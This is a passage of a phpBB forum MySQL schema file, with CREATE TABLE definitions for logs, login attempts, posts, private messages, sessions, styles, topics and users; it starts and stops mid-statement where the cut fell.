(lang_id), KEY lang_iso (lang_iso) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_log' CREATE TABLE phpbb_log ( log_id mediumint(8) UNSIGNED NOT NULL auto_increment, log_type tinyint(4) DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, reportee_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, log_ip varchar(40) DEFAULT '' NOT NULL, log_time int(11) UNSIGNED DEFAULT '0' NOT NULL, log_operation text NOT NULL, log_data mediumtext NOT NULL, PRIMARY KEY (log_id), KEY log_type (log_type), KEY forum_id (forum_id), KEY topic_id (topic_id), KEY reportee_id (reportee_id), KEY user_id (user_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_login_attempts' CREATE TABLE phpbb_login_attempts ( attempt_ip varchar(40) DEFAULT '' NOT NULL, attempt_browser varchar(150) DEFAULT '' NOT NULL, attempt_forwarded_for varchar(255) DEFAULT '' NOT NULL, attempt_time int(11) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, username varchar(255) DEFAULT '0' NOT NULL, username_clean varchar(255) DEFAULT '0' NOT NULL, KEY att_ip (attempt_ip, attempt_time), KEY att_for (attempt_forwarded_for, attempt_time), KEY att_time (attempt_time), KEY user_id (user_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_moderator_cache' CREATE TABLE phpbb_moderator_cache ( forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, username varchar(255) DEFAULT '' NOT NULL, group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_name varchar(255) DEFAULT '' NOT NULL, display_on_index tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, KEY disp_idx (display_on_index), KEY forum_id (forum_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_modules' CREATE TABLE phpbb_modules ( module_id mediumint(8) UNSIGNED NOT NULL auto_increment, module_enabled tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, module_display tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, module_basename varchar(255) DEFAULT '' NOT NULL, module_class varchar(10) DEFAULT '' NOT NULL, parent_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, left_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, right_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, module_langname varchar(255) DEFAULT '' NOT NULL, module_mode varchar(255) DEFAULT '' NOT NULL, module_auth varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (module_id), KEY left_right_id (left_id, right_id), KEY module_enabled (module_enabled), KEY class_left_id (module_class, left_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_poll_options' CREATE TABLE phpbb_poll_options ( poll_option_id tinyint(4) DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poll_option_text text NOT NULL, poll_option_total mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, KEY poll_opt_id (poll_option_id), KEY topic_id (topic_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_poll_votes' CREATE TABLE phpbb_poll_votes ( topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poll_option_id tinyint(4) DEFAULT '0' NOT NULL, vote_user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, vote_user_ip varchar(40) DEFAULT '' NOT NULL, KEY topic_id (topic_id), KEY vote_user_id (vote_user_id), KEY vote_user_ip (vote_user_ip) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_posts' CREATE TABLE phpbb_posts ( post_id mediumint(8) UNSIGNED NOT NULL auto_increment, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poster_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, icon_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poster_ip varchar(40) DEFAULT '' NOT NULL, post_time int(11) UNSIGNED DEFAULT '0' NOT NULL, post_approved tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, post_reported tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, enable_bbcode tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_smilies tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_magic_url tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_sig tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, post_username varchar(255) DEFAULT '' NOT NULL, post_subject varchar(255) DEFAULT '' NOT NULL COLLATE utf8_unicode_ci, post_text mediumtext NOT NULL, post_checksum varchar(32) DEFAULT '' NOT NULL, post_attachment tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, bbcode_bitfield varchar(255) DEFAULT '' NOT NULL, bbcode_uid varchar(8) DEFAULT '' NOT NULL, post_postcount tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, post_edit_time int(11) UNSIGNED DEFAULT '0' NOT NULL, post_edit_reason varchar(255) DEFAULT '' NOT NULL, post_edit_user mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, post_edit_count smallint(4) UNSIGNED DEFAULT '0' NOT NULL, post_edit_locked tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (post_id), KEY forum_id (forum_id), KEY topic_id (topic_id), KEY poster_ip (poster_ip), KEY poster_id (poster_id), KEY post_approved (post_approved), KEY post_username (post_username), KEY tid_post_time (topic_id, post_time) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_privmsgs' CREATE TABLE phpbb_privmsgs ( msg_id mediumint(8) UNSIGNED NOT NULL auto_increment, root_level mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, author_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, icon_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, author_ip varchar(40) DEFAULT '' NOT NULL, message_time int(11) UNSIGNED DEFAULT '0' NOT NULL, enable_bbcode tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_smilies tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_magic_url tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, enable_sig tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, message_subject varchar(255) DEFAULT '' NOT NULL, message_text mediumtext NOT NULL, message_edit_reason varchar(255) DEFAULT '' NOT NULL, message_edit_user mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, message_attachment tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, bbcode_bitfield varchar(255) DEFAULT '' NOT NULL, bbcode_uid varchar(8) DEFAULT '' NOT NULL, message_edit_time int(11) UNSIGNED DEFAULT '0' NOT NULL, message_edit_count smallint(4) UNSIGNED DEFAULT '0' NOT NULL, to_address text NOT NULL, bcc_address text NOT NULL, message_reported tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (msg_id), KEY author_ip (author_ip), KEY message_time (message_time), KEY author_id (author_id), KEY root_level (root_level) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_privmsgs_folder' CREATE TABLE phpbb_privmsgs_folder ( folder_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, folder_name varchar(255) DEFAULT '' NOT NULL, pm_count mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (folder_id), KEY user_id (user_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_privmsgs_rules' CREATE TABLE phpbb_privmsgs_rules ( rule_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_check mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_connection mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_string varchar(255) DEFAULT '' NOT NULL, rule_user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_action mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rule_folder_id int(11) DEFAULT '0' NOT NULL, PRIMARY KEY (rule_id), KEY user_id (user_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_privmsgs_to' CREATE TABLE phpbb_privmsgs_to ( msg_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, author_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, pm_deleted tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, pm_new tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, pm_unread tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, pm_replied tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, pm_marked tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, pm_forwarded tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, folder_id int(11) DEFAULT '0' NOT NULL, KEY msg_id (msg_id), KEY author_id (author_id), KEY usr_flder_id (user_id, folder_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_profile_fields' CREATE TABLE phpbb_profile_fields ( field_id mediumint(8) UNSIGNED NOT NULL auto_increment, field_name varchar(255) DEFAULT '' NOT NULL, field_type tinyint(4) DEFAULT '0' NOT NULL, field_ident varchar(20) DEFAULT '' NOT NULL, field_length varchar(20) DEFAULT '' NOT NULL, field_minlen varchar(255) DEFAULT '' NOT NULL, field_maxlen varchar(255) DEFAULT '' NOT NULL, field_novalue varchar(255) DEFAULT '' NOT NULL, field_default_value varchar(255) DEFAULT '' NOT NULL, field_validation varchar(20) DEFAULT '' NOT NULL, field_required tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_show_novalue tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_show_on_reg tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_show_on_vt tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_show_profile tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_hide tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_no_view tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_active tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, field_order mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (field_id), KEY fld_type (field_type), KEY fld_ordr (field_order) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_profile_fields_data' CREATE TABLE phpbb_profile_fields_data ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_profile_fields_lang' CREATE TABLE phpbb_profile_fields_lang ( field_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, lang_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, option_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, field_type tinyint(4) DEFAULT '0' NOT NULL, lang_value varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (field_id, lang_id, option_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_profile_lang' CREATE TABLE phpbb_profile_lang ( field_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, lang_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, lang_name varchar(255) DEFAULT '' NOT NULL, lang_explain text NOT NULL, lang_default_value varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (field_id, lang_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_ranks' CREATE TABLE phpbb_ranks ( rank_id mediumint(8) UNSIGNED NOT NULL auto_increment, rank_title varchar(255) DEFAULT '' NOT NULL, rank_min mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, rank_special tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, rank_image varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (rank_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_reports' CREATE TABLE phpbb_reports ( report_id mediumint(8) UNSIGNED NOT NULL auto_increment, reason_id smallint(4) UNSIGNED DEFAULT '0' NOT NULL, post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, pm_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_notify tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, report_closed tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, report_time int(11) UNSIGNED DEFAULT '0' NOT NULL, report_text mediumtext NOT NULL, PRIMARY KEY (report_id), KEY post_id (post_id), KEY pm_id (pm_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_reports_reasons' CREATE TABLE phpbb_reports_reasons ( reason_id smallint(4) UNSIGNED NOT NULL auto_increment, reason_title varchar(255) DEFAULT '' NOT NULL, reason_description mediumtext NOT NULL, reason_order smallint(4) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (reason_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_search_results' CREATE TABLE phpbb_search_results ( search_key varchar(32) DEFAULT '' NOT NULL, search_time int(11) UNSIGNED DEFAULT '0' NOT NULL, search_keywords mediumtext NOT NULL, search_authors mediumtext NOT NULL, PRIMARY KEY (search_key) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_search_wordlist' CREATE TABLE phpbb_search_wordlist ( word_id mediumint(8) UNSIGNED NOT NULL auto_increment, word_text varchar(255) DEFAULT '' NOT NULL, word_common tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, word_count mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (word_id), UNIQUE wrd_txt (word_text), KEY wrd_cnt (word_count) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_search_wordmatch' CREATE TABLE phpbb_search_wordmatch ( post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, word_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, title_match tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, UNIQUE unq_mtch (word_id, post_id, title_match), KEY word_id (word_id), KEY post_id (post_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_sessions' CREATE TABLE phpbb_sessions ( session_id char(32) DEFAULT '' NOT NULL, session_user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, session_forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, session_last_visit int(11) UNSIGNED DEFAULT '0' NOT NULL, session_start int(11) UNSIGNED DEFAULT '0' NOT NULL, session_time int(11) UNSIGNED DEFAULT '0' NOT NULL, session_ip varchar(40) DEFAULT '' NOT NULL, session_browser varchar(150) DEFAULT '' NOT NULL, session_forwarded_for varchar(255) DEFAULT '' NOT NULL, session_page varchar(255) DEFAULT '' NOT NULL, session_viewonline tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, session_autologin tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, session_admin tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (session_id), KEY session_time (session_time), KEY session_user_id (session_user_id), KEY session_fid (session_forum_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_sessions_keys' CREATE TABLE phpbb_sessions_keys ( key_id char(32) DEFAULT '' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, last_ip varchar(40) DEFAULT '' NOT NULL, last_login int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (key_id, user_id), KEY last_login (last_login) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_sitelist' CREATE TABLE phpbb_sitelist ( site_id mediumint(8) UNSIGNED NOT NULL auto_increment, site_ip varchar(40) DEFAULT '' NOT NULL, site_hostname varchar(255) DEFAULT '' NOT NULL, ip_exclude tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (site_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_smilies' CREATE TABLE phpbb_smilies ( smiley_id mediumint(8) UNSIGNED NOT NULL auto_increment, code varchar(50) DEFAULT '' NOT NULL, emotion varchar(50) DEFAULT '' NOT NULL, smiley_url varchar(50) DEFAULT '' NOT NULL, smiley_width smallint(4) UNSIGNED DEFAULT '0' NOT NULL, smiley_height smallint(4) UNSIGNED DEFAULT '0' NOT NULL, smiley_order mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, display_on_posting tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, PRIMARY KEY (smiley_id), KEY display_on_post (display_on_posting) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_styles' CREATE TABLE phpbb_styles ( style_id mediumint(8) UNSIGNED NOT NULL auto_increment, style_name varchar(255) DEFAULT '' NOT NULL, style_copyright varchar(255) DEFAULT '' NOT NULL, style_active tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, template_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, theme_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, imageset_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (style_id), UNIQUE style_name (style_name), KEY template_id (template_id), KEY theme_id (theme_id), KEY imageset_id (imageset_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_styles_template' CREATE TABLE phpbb_styles_template ( template_id mediumint(8) UNSIGNED NOT NULL auto_increment, template_name varchar(255) DEFAULT '' NOT NULL, template_copyright varchar(255) DEFAULT '' NOT NULL, template_path varchar(100) DEFAULT '' NOT NULL, bbcode_bitfield varchar(255) DEFAULT 'kNg=' NOT NULL, template_storedb tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, template_inherits_id int(4) UNSIGNED DEFAULT '0' NOT NULL, template_inherit_path varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (template_id), UNIQUE tmplte_nm (template_name) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_styles_template_data' CREATE TABLE phpbb_styles_template_data ( template_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, template_filename varchar(100) DEFAULT '' NOT NULL, template_included text NOT NULL, template_mtime int(11) UNSIGNED DEFAULT '0' NOT NULL, template_data mediumtext NOT NULL, KEY tid (template_id), KEY tfn (template_filename) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_styles_theme' CREATE TABLE phpbb_styles_theme ( theme_id mediumint(8) UNSIGNED NOT NULL auto_increment, theme_name varchar(255) DEFAULT '' NOT NULL, theme_copyright varchar(255) DEFAULT '' NOT NULL, theme_path varchar(100) DEFAULT '' NOT NULL, theme_storedb tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, theme_mtime int(11) UNSIGNED DEFAULT '0' NOT NULL, theme_data mediumtext NOT NULL, PRIMARY KEY (theme_id), UNIQUE theme_name (theme_name) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_styles_imageset' CREATE TABLE phpbb_styles_imageset ( imageset_id mediumint(8) UNSIGNED NOT NULL auto_increment, imageset_name varchar(255) DEFAULT '' NOT NULL, imageset_copyright varchar(255) DEFAULT '' NOT NULL, imageset_path varchar(100) DEFAULT '' NOT NULL, PRIMARY KEY (imageset_id), UNIQUE imgset_nm (imageset_name) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_styles_imageset_data' CREATE TABLE phpbb_styles_imageset_data ( image_id mediumint(8) UNSIGNED NOT NULL auto_increment, image_name varchar(200) DEFAULT '' NOT NULL, image_filename varchar(200) DEFAULT '' NOT NULL, image_lang varchar(30) DEFAULT '' NOT NULL, image_height smallint(4) UNSIGNED DEFAULT '0' NOT NULL, image_width smallint(4) UNSIGNED DEFAULT '0' NOT NULL, imageset_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (image_id), KEY i_d (imageset_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_topics' CREATE TABLE phpbb_topics ( topic_id mediumint(8) UNSIGNED NOT NULL auto_increment, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, icon_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_attachment tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, topic_approved tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, topic_reported tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, topic_title varchar(255) DEFAULT '' NOT NULL COLLATE utf8_unicode_ci, topic_poster mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_time int(11) UNSIGNED DEFAULT '0' NOT NULL, topic_time_limit int(11) UNSIGNED DEFAULT '0' NOT NULL, topic_views mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_replies mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_replies_real mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_status tinyint(3) DEFAULT '0' NOT NULL, topic_type tinyint(3) DEFAULT '0' NOT NULL, topic_first_post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_first_poster_name varchar(255) DEFAULT '' NOT NULL, topic_first_poster_colour varchar(6) DEFAULT '' NOT NULL, topic_last_post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_last_poster_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_last_poster_name varchar(255) DEFAULT '' NOT NULL, topic_last_poster_colour varchar(6) DEFAULT '' NOT NULL, topic_last_post_subject varchar(255) DEFAULT '' NOT NULL, topic_last_post_time int(11) UNSIGNED DEFAULT '0' NOT NULL, topic_last_view_time int(11) UNSIGNED DEFAULT '0' NOT NULL, topic_moved_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_bumped tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, topic_bumper mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poll_title varchar(255) DEFAULT '' NOT NULL, poll_start int(11) UNSIGNED DEFAULT '0' NOT NULL, poll_length int(11) UNSIGNED DEFAULT '0' NOT NULL, poll_max_options tinyint(4) DEFAULT '1' NOT NULL, poll_last_vote int(11) UNSIGNED DEFAULT '0' NOT NULL, poll_vote_change tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (topic_id), KEY forum_id (forum_id), KEY forum_id_type (forum_id, topic_type), KEY last_post_time (topic_last_post_time), KEY topic_approved (topic_approved), KEY forum_appr_last (forum_id, topic_approved, topic_last_post_id), KEY fid_time_moved (forum_id, topic_last_post_time, topic_moved_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_topics_track' CREATE TABLE phpbb_topics_track ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, mark_time int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id, topic_id), KEY topic_id (topic_id), KEY forum_id (forum_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_topics_posted' CREATE TABLE phpbb_topics_posted ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_posted tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id, topic_id) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_topics_watch' CREATE TABLE phpbb_topics_watch ( topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, notify_status tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, KEY topic_id (topic_id), KEY user_id (user_id), KEY notify_stat (notify_status) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_user_group' CREATE TABLE phpbb_user_group ( group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_leader tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_pending tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, KEY group_id (group_id), KEY user_id (user_id), KEY group_leader (group_leader) ) CHARACTER SET `utf8` COLLATE `utf8_bin`; # Table: 'phpbb_users' CREATE TABLE phpbb_users ( user_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_type tinyint(2) DEFAULT '0' NOT NULL, group_id mediumint(8) UNSIGNED DEFAULT '3' NOT NULL, user_permissions mediumtext NOT NULL, user_perm_from mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_ip varchar(40) DEFAULT '' NOT NULL, user_regdate int(11) UNSIGNED DEFAULT '0' NOT NULL, username varchar(255) DEFAULT '' NOT NULL, username_clean varchar(255) DEFAULT '' NOT NULL, user_password varchar(40) DEFAULT '' NOT NULL, user_passchg int(11) UNSIGNED DEFAULT '0' NOT NULL, user_pass_convert tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_email varchar(100) DEFAULT '' NOT NULL, user_email_hash bigint(20) DEFAULT '0' NOT NULL, user_birthday varchar(10) DEFAULT '' NOT NULL, user_lastvisit int(11) UNSIGNED DEFAULT '0' NOT NULL, user_lastmark int(11) UNSIGNED DEFAULT '0' NOT NULL, user_lastpost_time int(11) UNSIGNED DEFAULT '0' NOT NULL, user_lastpage varchar(200) DEFAULT '' NOT NULL, user_last_confirm_key varchar(10) DEFAULT '' NOT NULL, user_last_search int(11) UNSIGNED DEFAULT '0' NOT NULL, user_warnings tinyint(4) DEFAULT '0' NOT NULL, user_last_warning int(11) UNSIGNED DEFAULT '0' NOT NULL, user_login_attempts tinyint(4) DEFAULT '0' NOT NULL, user_inactive_reason tinyint(2) DEFAULT '0' NOT NULL, user_inactive_time int(11) UNSIGNED DEFAULT '0' NOT NULL, user_posts mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_lang varchar(30) DEFAULT '' NOT NULL, user_timezone decimal(5,2) DEFAULT '0' NOT NULL, user_dst tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_dateformat varchar(30) DEFAULT 'd M Y H:i' NOT NULL, user_style mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_rank mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_colour varchar(6) DEFAULT '' NOT NULL, user_new_privmsg int(4) DEFAULT '0' NOT NULL, user_unread_privmsg int(4) DEFAULT '0' NOT NULL, user_last_privmsg int(11) UNSIGNED DEFAULT '0' NOT NULL, user_message_rules tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_full_folder int(11) DEFAULT '-3' NOT NULL, user_emailtime int(11) UNSIGNED DEFAULT '0' NOT NULL, user_topic_show_days smallint(4) UNSIGNED DEFAULT '0' NOT NULL, user_topic_sortby_type varchar(1) DEFAULT 't' NOT NULL, user_topic_sortby_dir varchar(1) DEFAULT 'd' NOT NULL, user_post_show_days smallint(4) UNSIGNED DEFAULT '0' NOT NULL, user_post_sortby_type varchar(1) DEFAULT 't' NOT NULL, user_post_sortby_dir varchar(1) DEFAULT 'a' NOT NULL, user_notify tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_notify_pm tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_notify_type tinyint(4) DEFAULT '0' NOT NULL, user_allow_pm tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_allow_viewonline tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_allow_viewemail tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_allow_massemail tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_options int(11) UNSIGNED DEFAULT '230271' NOT NULL, user_avatar varchar(255) DEFAULT '' NOT NULL, user_avatar_type tinyint(2) DEFAULT '0' NOT NULL, user_avatar_width smallint(4) UNSIGNED DEFAULT '0' NOT NULL, user_avatar_height smallint(4) UNSIGNED DEFAULT '0' NOT NULL, user_sig mediumtext NOT NULL, user_sig_bbcode_uid varchar(8) DEFAULT '' NOT NULL, user_sig_bbcode_bitfield varchar(255) DEFAULT '' NOT NULL, user_from varchar(100) DEFAULT '' NOT NULL, user_icq varchar(15) DEFAULT '' NOT NULL, user_aim varchar(255) DEFAULT '' NOT NULL, user_yim varchar(255) DEFAULT '' NOT NULL, user_msnm varchar(255) DEFAULT '' NOT NULL, user_jabber varchar(255) DEFAULT '' NOT NULL, user_website varchar(200) DEFAULT '' NOT NULL, user_occ text NOT NULL, user_interests text NOT NULL, user_actkey varchar(32) DEFAULT '' NOT NULL, user_newpasswd varchar(40) DEFAULT '' NOT NULL, user_form_salt varchar(32) DEFAULT '' NOT NULL, user_new tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_reminded tinyint(4) DEFAULT '0' NOT NULL, user_reminded_time int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id), KEY user_birthday (user_birthday), KEY user_email_hash (user_email_hash), KEY user_type (user_type), UNIQUE username_clean (username_clean) ) CHARACTER SET `utf8` COLLATE 